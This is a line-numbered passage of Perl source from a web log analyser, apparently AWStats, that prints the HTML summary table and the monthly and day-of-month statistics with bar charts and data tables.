                                                $MonthRequired eq 'all'
16102
 
                                                ? "<b>&lt;= $TotalUnique</b><br />$Message[129]"
16103
 
                                                : "<b>$TotalUnique</b><br />&nbsp;"
16104
 
                                          )
16105
 
                                          . "</td>";
16106
 
                                }
16107
 
                                else { print "<td>&nbsp;</td>"; }
16108
 
                                if ( $ShowSummary =~ /V/i ) {
16109
 
                                        print
16110
 
"<td><b>$TotalVisits</b><br />($RatioVisits&nbsp;$Message[52])</td>";
16111
 
                                }
16112
 
                                else { print "<td>&nbsp;</td>"; }
16113
 
                                if ( $ShowSummary =~ /P/i ) {
16114
 
                                        print "<td><b>$TotalPages</b><br />($RatioPages&nbsp;"
16115
 
                                          . $Message[56] . "/"
16116
 
                                          . $Message[12]
16117
 
                                          . ")</td>";
16118
 
                                }
16119
 
                                else { print "<td>&nbsp;</td>"; }
16120
 
                                if ( $ShowSummary =~ /H/i ) {
16121
 
                                        print "<td><b>$TotalHits</b>"
16122
 
                                          . (
16123
 
                                                $LogType eq 'M'
16124
 
                                                ? ""
16125
 
                                                : "<br />($RatioHits&nbsp;"
16126
 
                                                  . $Message[57] . "/"
16127
 
                                                  . $Message[12] . ")"
16128
 
                                          )
16129
 
                                          . "</td>";
16130
 
                                }
16131
 
                                else { print "<td>&nbsp;</td>"; }
16132
 
                                if ( $ShowSummary =~ /B/i ) {
16133
 
                                        print "<td><b>"
16134
 
                                          . Format_Bytes( int($TotalBytes) )
16135
 
                                          . "</b><br />($RatioBytes&nbsp;$Message[108]/"
16136
 
                                          . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ]
16137
 
                                          . ")</td>";
16138
 
                                }
16139
 
                                else { print "<td>&nbsp;</td>"; }
16140
 
                        }
16141
 
                        print "</tr>\n";
16142
 
 
16143
 
                        # Show main indicators values for not viewed traffic values
16144
 
                        if ( $LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S' ) {
16145
 
                                print "<tr>";
16146
 
                                if ( $LogType eq 'M' ) {
16147
 
                                        print "<td class=\"aws\">$Message[166]</td>";
16148
 
                                        print "<td>&nbsp;<br />&nbsp;</td>\n";
16149
 
                                        print "<td>&nbsp;<br />&nbsp;</td>\n";
16150
 
                                        if ( $ShowSummary =~ /H/i ) {
16151
 
                                                print "<td><b>$TotalNotViewedHits</b></td>";
16152
 
                                        }
16153
 
                                        else { print "<td>&nbsp;</td>"; }
16154
 
                                        if ( $ShowSummary =~ /B/i ) {
16155
 
                                                print "<td><b>"
16156
 
                                                  . Format_Bytes( int($TotalNotViewedBytes) )
16157
 
                                                  . "</b></td>";
16158
 
                                        }
16159
 
                                        else { print "<td>&nbsp;</td>"; }
16160
 
                                }
16161
 
                                else {
16162
 
                                        if ( $LogType eq 'W' || $LogType eq 'S' ) {
16163
 
                                                print "<td class=\"aws\">$Message[161]&nbsp;*</td>";
16164
 
                                        }
16165
 
                                        print "<td colspan=\"2\">&nbsp;<br />&nbsp;</td>\n";
16166
 
                                        if ( $ShowSummary =~ /P/i ) {
16167
 
                                                print "<td><b>$TotalNotViewedPages</b></td>";
16168
 
                                        }
16169
 
                                        else { print "<td>&nbsp;</td>"; }
16170
 
                                        if ( $ShowSummary =~ /H/i ) {
16171
 
                                                print "<td><b>$TotalNotViewedHits</b></td>";
16172
 
                                        }
16173
 
                                        else { print "<td>&nbsp;</td>"; }
16174
 
                                        if ( $ShowSummary =~ /B/i ) {
16175
 
                                                print "<td><b>"
16176
 
                                                  . Format_Bytes( int($TotalNotViewedBytes) )
16177
 
                                                  . "</b></td>";
16178
 
                                        }
16179
 
                                        else { print "<td>&nbsp;</td>"; }
16180
 
                                }
16181
 
                                print "</tr>\n";
16182
 
                        }
16183
 
                        &tab_end($LogType eq 'W'
16184
 
                                  || $LogType eq 'S' ? "* $Message[159]" : "" );
16185
 
                }
16186
 
 
16187
 
                # BY MONTH
16188
 
                #---------------------------------------------------------------------
16189
 
                if ($ShowMonthStats) {
16190
 
 
16191
 
                        if ($Debug) { debug( "ShowMonthStats", 2 ); }
16192
 
                        print "$Center<a name=\"month\">&nbsp;</a><br />\n";
16193
 
                        my $title = "$Message[162]";
16194
 
                        &tab_head( "$title", 0, 0, 'month' );
16195
 
                        print "<tr><td align=\"center\">\n";
16196
 
                        print "<center>\n";
16197
 
 
16198
 
                        $average_nb = $average_u = $average_v = $average_p = $average_h =
16199
 
                          $average_k = 0;
16200
 
                        $total_u     = $total_v = $total_p = $total_h = $total_k = 0;
16201
 
 
16202
 
                        $max_v = $max_p = $max_h = $max_k = 1;
16203
 
 
16204
 
                        # Define total and max
16205
 
                        for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16206
 
                                my $monthix = sprintf( "%02s", $ix );
16207
 
                                $total_u += $MonthUnique{ $YearRequired . $monthix } || 0;
16208
 
                                $total_v += $MonthVisits{ $YearRequired . $monthix } || 0;
16209
 
                                $total_p += $MonthPages{ $YearRequired . $monthix }  || 0;
16210
 
                                $total_h += $MonthHits{ $YearRequired . $monthix }   || 0;
16211
 
                                $total_k += $MonthBytes{ $YearRequired . $monthix }  || 0;
16212
 
 
16213
 
#if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; }
16214
 
                                if (
16215
 
                                        ( $MonthVisits{ $YearRequired . $monthix } || 0 ) > $max_v )
16216
 
                                {
16217
 
                                        $max_v = $MonthVisits{ $YearRequired . $monthix };
16218
 
                                }
16219
 
 
16220
 
#if (($MonthPages{$YearRequired.$monthix}||0) > $max_p)  { $max_p=$MonthPages{$YearRequired.$monthix}; }
16221
 
                                if ( ( $MonthHits{ $YearRequired . $monthix } || 0 ) > $max_h )
16222
 
                                {
16223
 
                                        $max_h = $MonthHits{ $YearRequired . $monthix };
16224
 
                                }
16225
 
                                if ( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) > $max_k )
16226
 
                                {
16227
 
                                        $max_k = $MonthBytes{ $YearRequired . $monthix };
16228
 
                                }
16229
 
                        }
16230
 
 
16231
 
                        # Define average
16232
 
                        # TODO
16233
 
 
16234
 
                        # Show bars for month
16235
 
                        if ( $PluginsLoaded{'ShowGraph'}{'graphapplet'} ) {
16236
 
                                my @blocklabel = ();
16237
 
                                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16238
 
                                        my $monthix = sprintf( "%02s", $ix );
16239
 
                                        push @blocklabel,
16240
 
                                          "$MonthNumLib{$monthix}\�$YearRequired";
16241
 
                                }
16242
 
                                my @vallabel = (
16243
 
                                        "$Message[11]", "$Message[10]",
16244
 
                                        "$Message[56]", "$Message[57]",
16245
 
                                        "$Message[75]"
16246
 
                                );
16247
 
                                my @valcolor =
16248
 
                                  ( "$color_u", "$color_v", "$color_p", "$color_h",
16249
 
                                        "$color_k" );
16250
 
                                my @valmax = ( $max_v, $max_v, $max_h, $max_h, $max_k );
16251
 
                                my @valtotal =
16252
 
                                  ( $total_u, $total_v, $total_p, $total_h, $total_k );
16253
 
                                my @valaverage = ();
16254
 
 
16255
 
                                #my @valaverage=($average_v,$average_p,$average_h,$average_k);
16256
 
                                my @valdata = ();
16257
 
                                my $xx      = 0;
16258
 
                                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16259
 
                                        my $monthix = sprintf( "%02s", $ix );
16260
 
                                        $valdata[ $xx++ ] = $MonthUnique{ $YearRequired . $monthix }
16261
 
                                          || 0;
16262
 
                                        $valdata[ $xx++ ] = $MonthVisits{ $YearRequired . $monthix }
16263
 
                                          || 0;
16264
 
                                        $valdata[ $xx++ ] = $MonthPages{ $YearRequired . $monthix }
16265
 
                                          || 0;
16266
 
                                        $valdata[ $xx++ ] = $MonthHits{ $YearRequired . $monthix }
16267
 
                                          || 0;
16268
 
                                        $valdata[ $xx++ ] = $MonthBytes{ $YearRequired . $monthix }
16269
 
                                          || 0;
16270
 
                                }
16271
 
                                ShowGraph_graphapplet(
16272
 
                                        "$title",        "month",
16273
 
                                        $ShowMonthStats, \@blocklabel,
16274
 
                                        \@vallabel,      \@valcolor,
16275
 
                                        \@valmax,        \@valtotal,
16276
 
                                        \@valaverage,    \@valdata
16277
 
                                );
16278
 
                        }
16279
 
                        else {
16280
 
                                print "<table>\n";
16281
 
                                print "<tr valign=\"bottom\">";
16282
 
                                print "<td>&nbsp;</td>\n";
16283
 
                                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16284
 
                                        my $monthix  = sprintf( "%02s", $ix );
16285
 
                                        my $bredde_u = 0;
16286
 
                                        my $bredde_v = 0;
16287
 
                                        my $bredde_p = 0;
16288
 
                                        my $bredde_h = 0;
16289
 
                                        my $bredde_k = 0;
16290
 
                                        if ( $max_v > 0 ) {
16291
 
                                                $bredde_u =
16292
 
                                                  int(
16293
 
                                                        ( $MonthUnique{ $YearRequired . $monthix } || 0 ) /
16294
 
                                                          $max_v * $BarHeight ) + 1;
16295
 
                                        }
16296
 
                                        if ( $max_v > 0 ) {
16297
 
                                                $bredde_v =
16298
 
                                                  int(
16299
 
                                                        ( $MonthVisits{ $YearRequired . $monthix } || 0 ) /
16300
 
                                                          $max_v * $BarHeight ) + 1;
16301
 
                                        }
16302
 
                                        if ( $max_h > 0 ) {
16303
 
                                                $bredde_p =
16304
 
                                                  int(
16305
 
                                                        ( $MonthPages{ $YearRequired . $monthix } || 0 ) /
16306
 
                                                          $max_h * $BarHeight ) + 1;
16307
 
                                        }
16308
 
                                        if ( $max_h > 0 ) {
16309
 
                                                $bredde_h =
16310
 
                                                  int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) /
16311
 
                                                          $max_h * $BarHeight ) + 1;
16312
 
                                        }
16313
 
                                        if ( $max_k > 0 ) {
16314
 
                                                $bredde_k =
16315
 
                                                  int(
16316
 
                                                        ( $MonthBytes{ $YearRequired . $monthix } || 0 ) /
16317
 
                                                          $max_k * $BarHeight ) + 1;
16318
 
                                        }
16319
 
                                        print "<td>";
16320
 
                                        if ( $ShowMonthStats =~ /U/i ) {
16321
 
                                                print
16322
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\""
16323
 
                                                  . AltTitle( "$Message[11]: "
16324
 
                                                          . ( $MonthUnique{ $YearRequired . $monthix }
16325
 
                                                                  || 0 ) )
16326
 
                                                  . " />";
16327
 
                                        }
16328
 
                                        if ( $ShowMonthStats =~ /V/i ) {
16329
 
                                                print
16330
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\""
16331
 
                                                  . AltTitle( "$Message[10]: "
16332
 
                                                          . ( $MonthVisits{ $YearRequired . $monthix }
16333
 
                                                                  || 0 ) )
16334
 
                                                  . " />";
16335
 
                                        }
16336
 
                                        if ( $ShowMonthStats =~ /P/i ) {
16337
 
                                                print
16338
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\""
16339
 
                                                  . AltTitle( "$Message[56]: "
16340
 
                                                          . ( $MonthPages{ $YearRequired . $monthix } || 0 )
16341
 
                                                  )
16342
 
                                                  . " />";
16343
 
                                        }
16344
 
                                        if ( $ShowMonthStats =~ /H/i ) {
16345
 
                                                print
16346
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\""
16347
 
                                                  . AltTitle( "$Message[57]: "
16348
 
                                                          . ( $MonthHits{ $YearRequired . $monthix } || 0 )
16349
 
                                                  )
16350
 
                                                  . " />";
16351
 
                                        }
16352
 
                                        if ( $ShowMonthStats =~ /B/i ) {
16353
 
                                                print
16354
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\""
16355
 
                                                  . AltTitle(
16356
 
                                                        "$Message[75]: "
16357
 
                                                          . Format_Bytes(
16358
 
                                                                $MonthBytes{ $YearRequired . $monthix }
16359
 
                                                          )
16360
 
                                                  )
16361
 
                                                  . " />";
16362
 
                                        }
16363
 
                                        print "</td>\n";
16364
 
                                }
16365
 
                                print "<td>&nbsp;</td>";
16366
 
                                print "</tr>\n";
16367
 
 
16368
 
                                # Show lib for month
16369
 
                                print "<tr valign=\"middle\">";
16370
 
 
16371
 
#                               if (!$StaticLinks) {
16372
 
#                                       print "<td><a href=\"".XMLEncode("$AWScript?${NewLinkParams}month=12&year=".($YearRequired-1))."\">&lt;&lt;</a></td>";
16373
 
#                               }
16374
 
#                               else {
16375
 
                                print "<td>&nbsp;</td>";
16376
 
 
16377
 
                                #                               }
16378
 
                                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16379
 
                                        my $monthix = sprintf( "%02s", $ix );
16380
 
 
16381
 
#                                       if (!$StaticLinks) {
16382
 
#                                               print "<td><a href=\"".XMLEncode("$AWScript?${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>";
16383
 
#                                       }
16384
 
#                                       else {
16385
 
                                        print "<td>"
16386
 
                                          . (
16387
 
                                                !$StaticLinks
16388
 
                                                  && $monthix == $nowmonth
16389
 
                                                  && $YearRequired == $nowyear
16390
 
                                                ? '<font class="currentday">'
16391
 
                                                : ''
16392
 
                                          );
16393
 
                                        print "$MonthNumLib{$monthix}<br />$YearRequired";
16394
 
                                        print(   !$StaticLinks
16395
 
                                                  && $monthix == $nowmonth
16396
 
                                                  && $YearRequired == $nowyear ? '</font>' : '' );
16397
 
                                        print "</td>";
16398
 
 
16399
 
                                        #                                       }
16400
 
                                }
16401
 
 
16402
 
#                               if (!$StaticLinks) {
16403
 
#                                       print "<td><a href=\"".XMLEncode("$AWScript?${NewLinkParams}month=1&year=".($YearRequired+1))."\">&gt;&gt;</a></td>";
16404
 
#                               }
16405
 
#                               else {
16406
 
                                print "<td>&nbsp;</td>";
16407
 
 
16408
 
                                #                               }
16409
 
                                print "</tr>\n";
16410
 
                                print "</table>\n";
16411
 
                        }
16412
 
                        print "<br />\n";
16413
 
 
16414
 
                        # Show data array for month
16415
 
                        if ($AddDataArrayMonthStats) {
16416
 
                                print "<table>\n";
16417
 
                                print
16418
 
"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>";
16419
 
                                if ( $ShowMonthStats =~ /U/i ) {
16420
 
                                        print "<td width=\"80\" bgcolor=\"#$color_u\""
16421
 
                                          . Tooltip(2)
16422
 
                                          . ">$Message[11]</td>";
16423
 
                                }
16424
 
                                if ( $ShowMonthStats =~ /V/i ) {
16425
 
                                        print "<td width=\"80\" bgcolor=\"#$color_v\""
16426
 
                                          . Tooltip(1)
16427
 
                                          . ">$Message[10]</td>";
16428
 
                                }
16429
 
                                if ( $ShowMonthStats =~ /P/i ) {
16430
 
                                        print "<td width=\"80\" bgcolor=\"#$color_p\""
16431
 
                                          . Tooltip(3)
16432
 
                                          . ">$Message[56]</td>";
16433
 
                                }
16434
 
                                if ( $ShowMonthStats =~ /H/i ) {
16435
 
                                        print "<td width=\"80\" bgcolor=\"#$color_h\""
16436
 
                                          . Tooltip(4)
16437
 
                                          . ">$Message[57]</td>";
16438
 
                                }
16439
 
                                if ( $ShowMonthStats =~ /B/i ) {
16440
 
                                        print "<td width=\"80\" bgcolor=\"#$color_k\""
16441
 
                                          . Tooltip(5)
16442
 
                                          . ">$Message[75]</td>";
16443
 
                                }
16444
 
                                print "</tr>\n";
16445
 
                                for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) {
16446
 
                                        my $monthix = sprintf( "%02s", $ix );
16447
 
                                        print "<tr>";
16448
 
                                        print "<td>"
16449
 
                                          . (
16450
 
                                                !$StaticLinks
16451
 
                                                  && $monthix == $nowmonth
16452
 
                                                  && $YearRequired == $nowyear
16453
 
                                                ? '<font class="currentday">'
16454
 
                                                : ''
16455
 
                                          );
16456
 
                                        print "$MonthNumLib{$monthix} $YearRequired";
16457
 
                                        print(   !$StaticLinks
16458
 
                                                  && $monthix == $nowmonth
16459
 
                                                  && $YearRequired == $nowyear ? '</font>' : '' );
16460
 
                                        print "</td>";
16461
 
                                        if ( $ShowMonthStats =~ /U/i ) {
16462
 
                                                print "<td>",
16463
 
                                                  $MonthUnique{ $YearRequired . $monthix }
16464
 
                                                  ? $MonthUnique{ $YearRequired . $monthix }
16465
 
                                                  : "0", "</td>";
16466
 
                                        }
16467
 
                                        if ( $ShowMonthStats =~ /V/i ) {
16468
 
                                                print "<td>",
16469
 
                                                  $MonthVisits{ $YearRequired . $monthix }
16470
 
                                                  ? $MonthVisits{ $YearRequired . $monthix }
16471
 
                                                  : "0", "</td>";
16472
 
                                        }
16473
 
                                        if ( $ShowMonthStats =~ /P/i ) {
16474
 
                                                print "<td>",
16475
 
                                                  $MonthPages{ $YearRequired . $monthix }
16476
 
                                                  ? $MonthPages{ $YearRequired . $monthix }
16477
 
                                                  : "0", "</td>";
16478
 
                                        }
16479
 
                                        if ( $ShowMonthStats =~ /H/i ) {
16480
 
                                                print "<td>",
16481
 
                                                  $MonthHits{ $YearRequired . $monthix }
16482
 
                                                  ? $MonthHits{ $YearRequired . $monthix }
16483
 
                                                  : "0", "</td>";
16484
 
                                        }
16485
 
                                        if ( $ShowMonthStats =~ /B/i ) {
16486
 
                                                print "<td>",
16487
 
                                                  Format_Bytes(
16488
 
                                                        int( $MonthBytes{ $YearRequired . $monthix } || 0 )
16489
 
                                                  ), "</td>";
16490
 
                                        }
16491
 
                                        print "</tr>\n";
16492
 
                                }
16493
 
 
16494
 
                                # Average row
16495
 
                                # TODO
16496
 
                                # Total row
16497
 
                                print
16498
 
"<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>";
16499
 
                                if ( $ShowMonthStats =~ /U/i ) {
16500
 
                                        print
16501
 
                                          "<td bgcolor=\"#$color_TableBGRowTitle\">$total_u</td>";
16502
 
                                }
16503
 
                                if ( $ShowMonthStats =~ /V/i ) {
16504
 
                                        print
16505
 
                                          "<td bgcolor=\"#$color_TableBGRowTitle\">$total_v</td>";
16506
 
                                }
16507
 
                                if ( $ShowMonthStats =~ /P/i ) {
16508
 
                                        print
16509
 
                                          "<td bgcolor=\"#$color_TableBGRowTitle\">$total_p</td>";
16510
 
                                }
16511
 
                                if ( $ShowMonthStats =~ /H/i ) {
16512
 
                                        print
16513
 
                                          "<td bgcolor=\"#$color_TableBGRowTitle\">$total_h</td>";
16514
 
                                }
16515
 
                                if ( $ShowMonthStats =~ /B/i ) {
16516
 
                                        print "<td bgcolor=\"#$color_TableBGRowTitle\">"
16517
 
                                          . Format_Bytes($total_k) . "</td>";
16518
 
                                }
16519
 
                                print "</tr>\n";
16520
 
                                print "</table>\n<br />\n";
16521
 
                        }
16522
 
 
16523
 
                        print "</center>\n";
16524
 
                        print "</td></tr>\n";
16525
 
                        &tab_end();
16526
 
                }
16527
 
 
16528
 
                print "\n<a name=\"when\">&nbsp;</a>\n\n";
16529
 
 
16530
 
                # BY DAY OF MONTH
16531
 
                #---------------------------------------------------------------------
16532
 
                if ($ShowDaysOfMonthStats) {
16533
 
                        if ($Debug) { debug( "ShowDaysOfMonthStats", 2 ); }
16534
 
                        print "$Center<a name=\"daysofmonth\">&nbsp;</a><br />\n";
16535
 
                        my $title = "$Message[138]";
16536
 
                        &tab_head( "$title", 0, 0, 'daysofmonth' );
16537
 
                        print "<tr>";
16538
 
                        print "<td align=\"center\">\n";
16539
 
                        print "<center>\n";
16540
 
 
16541
 
                        my $NewLinkParams = ${QueryString};
16542
 
                        $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
16543
 
                        $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
16544
 
                        $NewLinkParams =~ s/(^|&|&amp;)year=[^&]*//i;
16545
 
                        $NewLinkParams =~ s/(^|&|&amp;)month=[^&]*//i;
16546
 
                        $NewLinkParams =~ s/(^|&|&amp;)framename=[^&]*//i;
16547
 
                        $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
16548
 
                        $NewLinkParams =~ s/^&amp;//;
16549
 
                        $NewLinkParams =~ s/&amp;$//;
16550
 
                        if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
16551
 
                        my $NewLinkTarget = '';
16552
 
 
16553
 
                        if ( $FrameName eq 'mainright' ) {
16554
 
                                $NewLinkTarget = " target=\"_parent\"";
16555
 
                        }
16556
 
 
16557
 
                        $average_nb = $average_u = $average_v = $average_p = $average_h =
16558
 
                          $average_k = 0;
16559
 
                        $total_u     = $total_v = $total_p = $total_h = $total_k = 0;
16560
 
 
16561
 
                        # Define total and max
16562
 
                        $max_v = $max_h = $max_k =
16563
 
                          0;    # Start from 0 because can be lower than 1
16564
 
                        foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16565
 
                        {
16566
 
                                $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16567
 
                                my $year  = $1;
16568
 
                                my $month = $2;
16569
 
                                my $day   = $3;
16570
 
                                if ( !DateIsValid( $day, $month, $year ) ) {
16571
 
                                        next;
16572
 
                                }    # If not an existing day, go to next
16573
 
                                $total_v += $DayVisits{ $year . $month . $day } || 0;
16574
 
                                $total_p += $DayPages{ $year . $month . $day }  || 0;
16575
 
                                $total_h += $DayHits{ $year . $month . $day }   || 0;
16576
 
                                $total_k += $DayBytes{ $year . $month . $day }  || 0;
16577
 
                                if ( ( $DayVisits{ $year . $month . $day } || 0 ) > $max_v ) {
16578
 
                                        $max_v = $DayVisits{ $year . $month . $day };
16579
 
                                }
16580
 
 
16581
 
#if (($DayPages{$year.$month.$day}||0) > $max_p)  { $max_p=$DayPages{$year.$month.$day}; }
16582
 
                                if ( ( $DayHits{ $year . $month . $day } || 0 ) > $max_h ) {
16583
 
                                        $max_h = $DayHits{ $year . $month . $day };
16584
 
                                }
16585
 
                                if ( ( $DayBytes{ $year . $month . $day } || 0 ) > $max_k ) {
16586
 
                                        $max_k = $DayBytes{ $year . $month . $day };
16587
 
                                }
16588
 
                        }
16589
 
 
16590
 
                        # Define average
16591
 
                        foreach my $daycursor (
16592
 
                                $firstdaytocountaverage .. $lastdaytocountaverage )
16593
 
                        {
16594
 
                                $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16595
 
                                my $year  = $1;
16596
 
                                my $month = $2;
16597
 
                                my $day   = $3;
16598
 
                                if ( !DateIsValid( $day, $month, $year ) ) {
16599
 
                                        next;
16600
 
                                }                 # If not an existing day, go to next
16601
 
                                $average_nb++;    # Increase number of day used to count
16602
 
                                $average_v += ( $DayVisits{$daycursor} || 0 );
16603
 
                                $average_p += ( $DayPages{$daycursor}  || 0 );
16604
 
                                $average_h += ( $DayHits{$daycursor}   || 0 );
16605
 
                                $average_k += ( $DayBytes{$daycursor}  || 0 );
16606
 
                        }
16607
 
                        if ($average_nb) {
16608
 
                                $average_v = $average_v / $average_nb;
16609
 
                                $average_p = $average_p / $average_nb;
16610
 
                                $average_h = $average_h / $average_nb;
16611
 
                                $average_k = $average_k / $average_nb;
16612
 
                                if ( $average_v > $max_v ) { $max_v = $average_v; }
16613
 
 
16614
 
                                #if ($average_p > $max_p) { $max_p=$average_p; }
16615
 
                                if ( $average_h > $max_h ) { $max_h = $average_h; }
16616
 
                                if ( $average_k > $max_k ) { $max_k = $average_k; }
16617
 
                        }
16618
 
                        else {
16619
 
                                $average_v = "?";
16620
 
                                $average_p = "?";
16621
 
                                $average_h = "?";
16622
 
                                $average_k = "?";
16623
 
                        }
16624
 
 
16625
 
                        # Show bars for day
16626
 
                        if ( $PluginsLoaded{'ShowGraph'}{'graphapplet'} ) {
16627
 
                                my @blocklabel = ();
16628
 
                                foreach
16629
 
                                  my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16630
 
                                {
16631
 
                                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16632
 
                                        my $year  = $1;
16633
 
                                        my $month = $2;
16634
 
                                        my $day   = $3;
16635
 
                                        if ( !DateIsValid( $day, $month, $year ) ) {
16636
 
                                                next;
16637
 
                                        }    # If not an existing day, go to next
16638
 
                                        my $bold =
16639
 
                                          (      $day == $nowday
16640
 
                                                  && $month == $nowmonth
16641
 
                                                  && $year == $nowyear ? ':' : '' );
16642
 
                                        my $weekend =
16643
 
                                          ( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' );
16644
 
                                        push @blocklabel,
16645
 
                                          "$day�$MonthNumLib{$month}$weekend$bold";
16646
 
                                }
16647
 
                                my @vallabel = (
16648
 
                                        "$Message[10]", "$Message[56]",
16649
 
                                        "$Message[57]", "$Message[75]"
16650
 
                                );
16651
 
                                my @valcolor =
16652
 
                                  ( "$color_v", "$color_p", "$color_h", "$color_k" );
16653
 
                                my @valmax   = ( $max_v,   $max_h,   $max_h,   $max_k );
16654
 
                                my @valtotal = ( $total_v, $total_p, $total_h, $total_k );
16655
 
                                $average_v = sprintf( "%.2f", $average_v );
16656
 
                                $average_p = sprintf( "%.2f", $average_p );
16657
 
                                $average_h = sprintf( "%.2f", $average_h );
16658
 
                                $average_k = (
16659
 
                                        int($average_k)
16660
 
                                        ? Format_Bytes( sprintf( "%.2f", $average_k ) )
16661
 
                                        : "0.00"
16662
 
                                );
16663
 
                                my @valaverage =
16664
 
                                  ( $average_v, $average_p, $average_h, $average_k );
16665
 
                                my @valdata = ();
16666
 
                                my $xx      = 0;
16667
 
 
16668
 
                                foreach
16669
 
                                  my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16670
 
                                {
16671
 
                                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16672
 
                                        my $year  = $1;
16673
 
                                        my $month = $2;
16674
 
                                        my $day   = $3;
16675
 
                                        if ( !DateIsValid( $day, $month, $year ) ) {
16676
 
                                                next;
16677
 
                                        }    # If not an existing day, go to next
16678
 
                                        $valdata[ $xx++ ] = $DayVisits{ $year . $month . $day }
16679
 
                                          || 0;
16680
 
                                        $valdata[ $xx++ ] = $DayPages{ $year . $month . $day } || 0;
16681
 
                                        $valdata[ $xx++ ] = $DayHits{ $year . $month . $day }  || 0;
16682
 
                                        $valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0;
16683
 
                                }
16684
 
                                ShowGraph_graphapplet(
16685
 
                                        "$title",              "daysofmonth",
16686
 
                                        $ShowDaysOfMonthStats, \@blocklabel,
16687
 
                                        \@vallabel,            \@valcolor,
16688
 
                                        \@valmax,              \@valtotal,
16689
 
                                        \@valaverage,          \@valdata
16690
 
                                );
16691
 
                        }
16692
 
                        else {
16693
 
                                print "<table>\n";
16694
 
                                print "<tr valign=\"bottom\">\n";
16695
 
                                foreach
16696
 
                                  my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime )
16697
 
                                {
16698
 
                                        $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/;
16699
 
                                        my $year  = $1;
16700
 
                                        my $month = $2;
16701
 
                                        my $day   = $3;
16702
 
                                        if ( !DateIsValid( $day, $month, $year ) ) {
16703
 
                                                next;
16704
 
                                        }    # If not an existing day, go to next
16705
 
                                        my $bredde_v = 0;
16706
 
                                        my $bredde_p = 0;
16707
 
                                        my $bredde_h = 0;
16708
 
                                        my $bredde_k = 0;
16709
 
                                        if ( $max_v > 0 ) {
16710
 
                                                $bredde_v =
16711
 
                                                  int( ( $DayVisits{ $year . $month . $day } || 0 ) /
16712
 
                                                          $max_v * $BarHeight ) + 1;
16713
 
                                        }
16714
 
                                        if ( $max_h > 0 ) {
16715
 
                                                $bredde_p =
16716
 
                                                  int( ( $DayPages{ $year . $month . $day } || 0 ) /
16717
 
                                                          $max_h * $BarHeight ) + 1;
16718
 
                                        }
16719
 
                                        if ( $max_h > 0 ) {
16720
 
                                                $bredde_h =
16721
 
                                                  int( ( $DayHits{ $year . $month . $day } || 0 ) /
16722
 
                                                          $max_h * $BarHeight ) + 1;
16723
 
                                        }
16724
 
                                        if ( $max_k > 0 ) {
16725
 
                                                $bredde_k =
16726
 
                                                  int( ( $DayBytes{ $year . $month . $day } || 0 ) /
16727
 
                                                          $max_k * $BarHeight ) + 1;
16728
 
                                        }
16729
 
                                        print "<td>";
16730
 
                                        if ( $ShowDaysOfMonthStats =~ /V/i ) {
16731
 
                                                print
16732
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\""
16733
 
                                                  . AltTitle( "$Message[10]: "
16734
 
                                                          . int( $DayVisits{ $year . $month . $day } || 0 )
16735
 
                                                  )
16736
 
                                                  . " />";
16737
 
                                        }
16738
 
                                        if ( $ShowDaysOfMonthStats =~ /P/i ) {
16739
 
                                                print
16740
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\""
16741
 
                                                  . AltTitle( "$Message[56]: "
16742
 
                                                          . int( $DayPages{ $year . $month . $day } || 0 ) )
16743
 
                                                  . " />";
16744
 
                                        }
16745
 
                                        if ( $ShowDaysOfMonthStats =~ /H/i ) {
16746
 
                                                print
16747
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\""
16748
 
                                                  . AltTitle( "$Message[57]: "
16749
 
                                                          . int( $DayHits{ $year . $month . $day } || 0 ) )
16750
 
                                                  . " />";
16751
 
                                        }
16752
 
                                        if ( $ShowDaysOfMonthStats =~ /B/i ) {
16753
 
                                                print
16754
 
"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\""
16755
 
                                                  . AltTitle(
16756
 
                                                        "$Message[75]: "
16757
 
                                                          . Format_Bytes(
16758
 
